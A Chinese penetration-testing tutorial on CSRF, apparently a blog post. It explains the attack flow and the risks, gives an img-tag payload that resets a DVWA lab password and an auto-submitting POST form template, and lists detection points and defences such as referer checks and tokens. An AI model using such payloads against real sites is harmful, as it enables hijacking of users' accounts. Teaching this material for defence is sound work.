【渗透测试基础】跨站请求伪造CSRF

01 简介 

CSRF(Cross-Site request Forgery)跨站请求伪造,它是一种挟持用户在当前已登录的web应用程序上执行非本意操作的方法。

 

过程描述:

  1.  用户通过浏览器访问并登录受信任网站A。
  2. 网站A验证通过后,返回cookie信息给浏览器。
  3. 用户在未登出网站A时,访问了恶意网站B。
  4. 恶意网站B返回给用户浏览器包含恶意请求网站A的代码。
  5. 在用户不知道的情况下,用户浏览器携带着步骤2的cookie,访问了网站A,完成攻击。

分析:http协议是无状态的,通过cokies记录会话信息,用户登录网站后,浏览器爆粗cookies信息。再次访问网站时,浏览器会将cookies附带在请求中。且接口只检查cookies信息,无法区分是否用户主动发起的请求。

 02 危害

添加账号

重置密码

任意发帖

……

03 示例

GET型

以dvwa靶场(192.168.77.100)get型csrf为例:

  1. 构造 payload
    <html>
        <body>
            <img src="http://192.168.77.100/dvwa/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=%E6%94%B9%E5%8F%98" />
        </body>
    </html>
  2. 发送恶意链接(http://192.168.77.130/1.html)给用户诱导用户点击
  3. 模拟用户访问http://192.168.77.130/1.html,携带用户cookie,执行了重置密码操作。如下:
  4. dvwa密码已被重置为admin123

 POST型

需要构造form表单,在网页加载时自动提交,如下:

<html>
<body>
<form action="http://a.com/resetpasswd" method="post">
<input type="hidden" name="user" value="xiaoming" />
<input type="hidden" name="password" value="123456" />
<script>documnet.forms[0].submit()</script>
</form>
</body>
</html>

04 漏洞点

  1. 请求没有refer,token字段,即服务器不判断来源,常常存在csrf。
  2. 有refer,token字段,但是删除这两个字段仍然可以请求成功,说明存在csrf漏洞。

04 防御措施

  1. 检查referer,确认来源可信
  2. 添加token,为接口生成随机token,定义失效时间,在合法请求中带上toke

05 问题

实际渗透测试过程中,发现Edge和chrome并没有携带A网站的cookie信息,原因是受浏览器同源策略的限制,非同源网站无法获取cookie信息,若解决该问题需要解决跨域问题。可参照https://www.cnblogs.com/snowie/p/15044091.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值